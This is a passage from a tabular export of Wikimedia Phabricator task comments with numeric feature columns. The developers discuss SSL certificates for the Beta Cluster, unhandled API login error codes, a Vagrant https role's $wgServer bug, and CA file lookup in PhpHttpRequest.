Additionally that will bypass the nginx protocol proxy we have set up on beta which are build using the manifests using in production. Ie beta cluster will vary with production.",,,1417015411,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-kdxwi3q4gzdnjwug4iuy,task_subcomment,,True,c3,1,True,,,-32,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,22.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,3.0,11.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,4.472222222222222,0.8055555555555556,"QUOTE
QUOTE

Additionally that will bypass the nginx protocol proxy we have set up on beta which are build using the manifests using in production. Ie beta cluster will vary with production."
333362,Setup real ssl certs for Beta Cluster using a restricted project,"Consider three things we want beta to have:

# Same as prod (including SSL Certs)
# sudo for as many people as possible

They're incompatible, since as *few* people as possible have sudo in prod. Right now we've something akin to worst of both worlds - sudo is restricted, and we have no SSL. Doing this the same as prod sacrifices some things from (1) but gains us other things from (1) (ssl), and gives us (2). I'd say worth it.",,,1416988123,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-kdxwi3q4gzdnjwug4iuy,task_subcomment,,True,c3,1,True,,,-32,True,2.0,0.5,0.0,1.0,0.0,7.5,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,5.0,0.0,2.0,8.0,0.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,0.5,1.0,1.0,0.0,0.0,0.0,2.0,0.0,1.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,6.0,0.5,3.0,4.5,0.0,0.0,0.0,1.0,2.0,0.0,4.0,0.0,6.0,8.0,4.5,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,1.5,0.0,0.5,0.0,3.2957721872816212,0.7382948986722571,"Consider three things we want beta to have:

# Same as prod (including SSL Certs)
# sudo for as many people as possible

They're incompatible, since as *few* people as possible have sudo in prod. Right now we've something akin to worst of both worlds - sudo is restricted, and we have no SSL. Doing this the same as prod sacrifices some things from (1) but gains us other things from (1) (ssl), and gives us (2). I'd say worth it."
333200,Setup real ssl certs for Beta Cluster using a restricted project,">>! In T75919#786292, @hashar wrote:
> I loose track on the rather long {T50501} , but I commented about using a certificate authority to generate  free certs for beta then inject that CA in the browsers used by SauceLabs.

Except that only helps browser tests, not individual/random contributors who will only be greeted with a big red ""SOMEONE'S TRYING TO HAXOR YOU!"" warning from their browser. We have no way of putting an interstitial/modifying that warning.

Self-signed is not the way to go if we want humans and random contributors to use Beta Cluster (we do, and will more).",,,1416955692,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-kdxwi3q4gzdnjwug4iuy,task_subcomment,,True,c3,1,True,,,-32,True,0.0,1.0,0.0,1.0,2.0,7.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,5.0,11.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,4.0,2.0,15.0,4.0,2.0,6.0,0.0,0.0,1.0,0.0,5.0,0.0,0.0,0.0,6.0,11.0,4.0,0.0,2.0,0.0,6.0,0.0,1.0,2.0,0.0,5.0,1.0,0.0,0.0,3.8292682926829267,0.7682926829268293,"QUOTE
QUOTE

Except that only helps browser tests, not individual/random contributors who will only be greeted with a big red ""SOMEONE'S TRYING TO HAXOR YOU!"" warning from their browser. We have no way of putting an interstitial/modifying that warning.

Self-signed is not the way to go if we want humans and random contributors to use Beta Cluster (we do, and will more)."
333198,Setup real ssl certs for Beta Cluster using a restricted project,"I loose track on the rather long {T50501} , but I commented about using a certificate authority to generate  free certs for beta then inject that CA in the browsers used by SauceLabs.

>>! In T50501#527288, @hashar wrote:
> Calm down, what we need is to use the 'Labs CA' certificate authority to generate all the certificates we need, then add that authority as a trusted one in the browsers.
> 
> I would do it myself if I had access to the 'Labs CA'.

Ryan Lane echoed:

>>! In T50501#527329, @bzimport wrote:
> **rlane32** wrote:
> 
> Has anyone considered creating a CA (http://pages.cs.wisc.edu/~zmiller/ca-howto/), generating a * cert, and adding that certificate to the browser's trust? Is that a possibility using the selenium service we're using?
> 
> I'm still not opposed to getting a proper cert, but that requires some infrastructure and permissions changes in deployment-prep...


I kind of stopped following the bug after that.  


There is some doc at: https://github.com/nicolaepetridean/sauceLabsTry/wiki/Test-systems-with-self-signed-certificates

https://web.archive.org/web/20121231011833/http://saucelabs.com/docs/https seems to mention SauceOndemand supports self signed.

And there is some more doc at https://docs.saucelabs.com/reference/test-configuration/#avoiding-the-selenium-proxy which mention:

> By default, Sauce routes traffic from all Selenium RC and some WebDriver browsers through the Selenium HTTP proxy server so that HTTPS connections with self-signed certificates work everywhere. 


So to me, this task is a dupe of T50501 and we should get a task to investigate usage of Sauce with self signed certificate.  Then we can avoid throwing money at some SSL authority and will not have to figure out a policy to avoid having the certs leaked.

My 0.02 €",,,1416955473,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-kdxwi3q4gzdnjwug4iuy,task_subcomment,,True,c3,1,True,,,-32,True,1.5,0.0,0.0,0.0,0.5,2.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,4.0,0.0,4.0,11.5,0.0,3.0,0.5,0.0,0.0,2.0,0.0,0.0,0.0,0.5,0.5,0.0,3.5,0.0,0.0,1.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,12.5,0.5,1.0,0.0,0.5,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,4.5,1.5,16.5,0.5,2.5,8.0,0.0,0.0,0.0,0.0,5.5,0.0,0.5,0.0,4.0,11.5,10.5,0.0,0.0,0.0,4.0,0.0,0.5,2.5,0.5,2.0,0.5,0.0,0.0,3.7378048780487805,0.7073170731707317,"I loose track on the rather long {T50501} , but I commented about using a certificate authority to generate  free certs for beta then inject that CA in the browsers used by SauceLabs.

QUOTE
QUOTE
QUOTE
QUOTE

Ryan Lane echoed:

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE


I kind of stopped following the bug after that.  


There is some doc at: URL

URL seems to mention SauceOndemand supports self signed.

And there is some more doc at URL which mention:

QUOTE


So to me, this task is a dupe of T50501 and we should get a task to investigate usage of Sauce with self signed certificate.  Then we can avoid throwing money at some SSL authority and will not have to figure out a policy to avoid having the certs leaked.

My 0.02 €"
333137,Setup real ssl certs for Beta Cluster using a restricted project,"Can't actually use dynamicproxy, since the cert there is just for *.wmflabs.org. Also, this terminator could be much simpler, since all it needs to do is forward it to the existing deployment-prep setup, without any dynamic routing.",,,1416948783,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-kdxwi3q4gzdnjwug4iuy,task_subcomment,,True,c3,1,True,,,-32,True,6.0,0.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,13.0,13.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,6.0,4.0,4.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.0,13.0,6.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,4.170212765957447,0.8085106382978723,"Can't actually use dynamicproxy, since the cert there is just for *.wmflabs.org. Also, this terminator could be much simpler, since all it needs to do is forward it to the existing deployment-prep setup, without any dynamic routing."
333132,Setup real ssl certs for Beta Cluster using a restricted project,"> make new labs project, restrict access a lot

The only downside I see for this plan is that it becomes ""yet another way that beta is not like production."" Other than that I think it should nicely solve the rest of the problems.

A similar but slightly different approach would be to use YuviProxy™ to terminate the ssl for beta. That would keep the private keys in Ops hands and only make the beta/prod difference that the nginx instances in beta never see TLS traffic.",,,1416947833,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-kdxwi3q4gzdnjwug4iuy,task_subcomment,,True,c3,1,True,,,-32,True,0.0,0.0,0.0,0.0,1.0,7.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,2.0,0.0,7.0,12.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,21.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,2.0,0.0,0.0,9.0,3.0,11.0,2.0,2.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,12.0,3.0,0.0,2.0,0.0,4.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,3.9887640449438204,0.7191011235955056,"QUOTE

The only downside I see for this plan is that it becomes ""yet another way that beta is not like production."" Other than that I think it should nicely solve the rest of the problems.

A similar but slightly different approach would be to use YuviProxy™ to terminate the ssl for beta. That would keep the private keys in Ops hands and only make the beta/prod difference that the nginx instances in beta never see TLS traffic."
75539,Unhandled API login error codes,"The login has many error codes which are unhandled.

http://www.wikia.com/api.php?format=jsonfm&modules=login&action=paraminfo

Bug 73533 will handle the most critical ones, however the others need to be handled, and that will require more detailed analysis.

For example, 'Blocked', found in 1.19 paraminfo.

The API allows blocked users to login, but prevents them from editing, etc.  Therefore, API login error code 'Blocked' may not needed in modern API usage.

--------------------------
**Version**: core-(2.0)
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=73533",Medium,50.0,1416271380,1665558256.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-USER-xezsyhikbr7hjrig2ofp,False,PHID-TASK-uvwdkrzpnvxiknkzvmsw,task_description,resolved,True,c3,1,True,False,False,-33,True,0.5,0.0,0.0,1.0,1.0,3.5,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,1.0,0.0,3.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,13.5,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,2.0,1.0,11.5,0.0,1.5,3.0,0.0,0.0,0.0,0.0,3.5,0.0,1.0,0.0,1.0,4.0,1.5,0.0,3.0,0.0,1.0,0.0,0.5,0.0,1.0,0.0,0.5,0.5,2.5,3.666817906836056,0.6949485783424078,"The login has many error codes which are unhandled.

URL

Bug 73533 will handle the most critical ones, however the others need to be handled, and that will require more detailed analysis.

For example, 'Blocked', found in 1.19 paraminfo.

The API allows blocked users to login, but prevents them from editing, etc.  Therefore, API login error code 'Blocked' may not needed in modern API usage.

--------------------------
**Version**: core-(2.0)
**Severity**: normal
**See Also**:
URL"
1999059,Unhandled API login error codes,Seems this task is no longer valid,,,1665558256,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-uvwdkrzpnvxiknkzvmsw,task_subcomment,,True,c3,3,True,,,379,True,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,4.0,1.0,Seems this task is no longer valid
75510,Role https does not properly set $wgServer,"Symptom: With a fresh MediaWiki-Vagrant with the https role, the resources (JS+CSS) are not loaded over HTTPS because the $wgServer variable is set to WebRequest::detectServer() in /vagrant/settings.d/wiki/CommonSettings.php (see bug 66399).

Explaination: The HTTPS is performed using nginx as a reverse proxy, and the function WebRequest::detectServer() assume in this case the HTTPS port is standard (443) instead of 4430 in MediaWiki-Vagrant ($wgServer = 'https://127.0.0.1').

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=70964",Medium,50.0,1416218400,1435158939.0,PHID-USER-2nopae2cxuamwcbndaih,False,PHID-USER-papbtlagfolot4dzerne,False,PHID-TASK-jtu44n22gzfjbkj747yp,task_description,resolved,True,c3,1,False,False,True,-33,True,0.0,0.0,0.0,1.5,0.5,4.5,1.0,0.5,0.0,0.0,3.5,1.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,11.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,4.5,2.5,14.0,0.5,1.0,5.5,0.0,0.0,0.0,0.0,1.5,0.0,2.0,0.0,0.0,6.0,8.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,4.054644808743169,0.7183060109289617,"Symptom: With a fresh MediaWiki-Vagrant with the https role, the resources (JS+CSS) are not loaded over HTTPS because the $wgServer variable is set to WebRequest::detectServer() in /vagrant/settings.d/wiki/CommonSettings.php (see bug 66399).

Explaination: The HTTPS is performed using nginx as a reverse proxy, and the function WebRequest::detectServer() assume in this case the HTTPS port is standard (443) instead of 4430 in MediaWiki-Vagrant ($wgServer = 'URL

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
517281,Role https does not properly set $wgServer,"It only seems to work through the host machine port forward though, not when one vagrant box is connecting to the other.",,,1440923167,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-jtu44n22gzfjbkj747yp,task_subcomment,,True,c3,3,True,,,8,True,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,21.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,4.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.125,0.9166666666666666,"It only seems to work through the host machine port forward though, not when one vagrant box is connecting to the other."
480779,Role https does not properly set $wgServer,A stock vagrant VM should now have its https role work out of the box.,,,1435158939,,PHID-USER-papbtlagfolot4dzerne,False,,,PHID-TASK-jtu44n22gzfjbkj747yp,task_subcomment,,True,c3,2,True,,,-2,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,12.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,A stock vagrant VM should now have its https role work out of the box.
480326,Role https does not properly set $wgServer,"Change 220074 merged by jenkins-bot:
HTTPS role should set wgAssumeProxiesUseDefaultProtocolPorts to false

[[https://gerrit.wikimedia.org/r/220074]]",,,1435092909,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jtu44n22gzfjbkj747yp,task_subcomment,,True,c3,2,False,,,-2,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.090909090909091,0.9090909090909091,"Change 220074 merged by jenkins-bot:
HTTPS role should set wgAssumeProxiesUseDefaultProtocolPorts to false

[[GERRIT_URL]]"
479672,Role https does not properly set $wgServer,"Change 220074 had a related patch set uploaded (by Gilles):
HTTPS role should set wgAssumeProxiesUseDefaultProtocolPorts to false

[[https://gerrit.wikimedia.org/r/220074]]
",,,1435041434,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jtu44n22gzfjbkj747yp,task_subcomment,,True,c3,2,False,,,-2,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,4.851851851851852,0.8518518518518519,"Change 220074 had a related patch set uploaded (by Gilles):
HTTPS role should set wgAssumeProxiesUseDefaultProtocolPorts to false

[[GERRIT_URL]]
"
479526,Role https does not properly set $wgServer,"* https://gerrit.wikimedia.org/r/219901 (branch master): #mw1.26, #mw1.26wmf11
",,,1435014040,,PHID-USER-n4kveqwjjlpsb6ydn73h,False,,,PHID-TASK-jtu44n22gzfjbkj747yp,task_subcomment,,True,c3,2,False,,,-2,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9166666666666665,0.9166666666666666,"* GERRIT_URL (branch master): #mw1.26, #mw1.26wmf11
"
479472,Role https does not properly set $wgServer,"Change 219901 merged by jenkins-bot:
Make proxy behaviour of detectServer() configurable

[[https://gerrit.wikimedia.org/r/219901]]",,,1435010408,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jtu44n22gzfjbkj747yp,task_subcomment,,True,c3,2,False,,,-2,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,4.130434782608695,0.9130434782608695,"Change 219901 merged by jenkins-bot:
Make proxy behaviour of detectServer() configurable

[[GERRIT_URL]]"
479265,Role https does not properly set $wgServer,"Change 219901 had a related patch set uploaded (by Gilles):
Make proxy behaviour of detectServer() configurable

[[https://gerrit.wikimedia.org/r/219901]]
",,,1434999559,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jtu44n22gzfjbkj747yp,task_subcomment,,True,c3,2,False,,,-2,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,14.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,4.071428571428571,0.8571428571428571,"Change 219901 had a related patch set uploaded (by Gilles):
Make proxy behaviour of detectServer() configurable

[[GERRIT_URL]]
"
479249,Role https does not properly set $wgServer,"Given that we're now all https and all, it seems like our https role should work!",,,1434998407,,PHID-USER-papbtlagfolot4dzerne,False,,,PHID-TASK-jtu44n22gzfjbkj747yp,task_subcomment,,True,c3,2,True,,,-2,True,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,11.0,0.0,5.0,11.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,11.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,16.0,11.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.473684210526316,0.8947368421052632,"Given that we're now all https and all, it seems like our https role should work!"
324741,Role https does not properly set $wgServer,"It could be used the config variable $wgHttpsPort introduced in bug 65184: in WebRequest::detectServer(), in the case of HTTPS behind a reverse proxy, use $wgHttpsPort (default is obviously 443).

This solution should be double-checked since it would impact Wikimedia servers.",,,1416219367,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-jtu44n22gzfjbkj747yp,task_subcomment,,True,c3,1,False,,,-33,True,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,4.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,9.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,6.0,0.0,4.0,0.0,4.0,11.0,6.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.407407407407407,0.8148148148148148,"It could be used the config variable $wgHttpsPort introduced in bug 65184: in WebRequest::detectServer(), in the case of HTTPS behind a reverse proxy, use $wgHttpsPort (default is obviously 443).

This solution should be double-checked since it would impact Wikimedia servers."
75203,PhpHttpRequest requires a certificate repository,"When I activated $wgInstantCommons on my fresh computer without php-curl (so MW used PhpHttpRequest to download data from Commons), it didn’t work until I specified the caInfo option in PhpHttpRequest (to /etc/ssl/certs, Ubuntu 14.04).

(Then I experienced bug 73199 but this is not directly linked.)

It would be nice if this piece of code could automatically find the certificate repository file or directory. Perhaps some magic value make PHP automatically find the default cert repo of the system or perhaps it works on some couple (PHP version, Operating System).

Else I don’t see other solutions than specifing default cert repo for major OS (I know, it would be a pain to maintain it). Or another option would be to even remove all HTTPS-related code in PhpHttpRequest and require CURL for HTTPS.

Before changing anything, it would be great to see this is bug is widely experienced on various platforms (PHP+OS) or if it is only an isolated case.

--------------------------
**Version**: 1.25-git
**Severity**: normal",Medium,50.0,1415554620,1441933155.0,PHID-USER-2nopae2cxuamwcbndaih,False,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-TASK-neaemyzql6ookm3j22rm,task_description,resolved,True,c3,1,False,False,True,-34,True,1.0,0.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,4.333333333333333,2.0,0.0,0.0,0.6666666666666666,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,2.0,0.0,5.0,8.0,0.3333333333333333,1.6666666666666667,0.0,0.0,0.0,1.6666666666666667,0.0,0.0,0.0,0.3333333333333333,1.6666666666666667,0.0,3.0,1.6666666666666667,2.6666666666666665,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,2.3333333333333335,0.0,0.6666666666666666,0.0,0.0,0.0,11.333333333333334,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,1.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,2.0,3.3333333333333335,10.666666666666666,1.0,2.3333333333333335,5.333333333333333,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,4.666666666666667,8.0,5.666666666666667,0.0,0.0,0.0,4.666666666666667,0.0,0.3333333333333333,0.6666666666666666,0.0,0.6666666666666666,0.0,0.0,0.0,4.014332825976662,0.7693429731100965,"When I activated $wgInstantCommons on my fresh computer without php-curl (so MW used PhpHttpRequest to download data from Commons), it didn’t work until I specified the caInfo option in PhpHttpRequest (to /etc/ssl/certs, Ubuntu 14.04).

(Then I experienced bug 73199 but this is not directly linked.)

It would be nice if this piece of code could automatically find the certificate repository file or directory. Perhaps some magic value make PHP automatically find the default cert repo of the system or perhaps it works on some couple (PHP version, Operating System).

Else I don’t see other solutions than specifing default cert repo for major OS (I know, it would be a pain to maintain it). Or another option would be to even remove all HTTPS-related code in PhpHttpRequest and require CURL for HTTPS.

Before changing anything, it would be great to see this is bug is widely experienced on various platforms (PHP+OS) or if it is only an isolated case.

--------------------------
**Version**: 1.25-git
**Severity**: normal"
524936,PhpHttpRequest requires a certificate repository,"Change 237002 merged by jenkins-bot:
Use system default location for cafile when using php fopen.

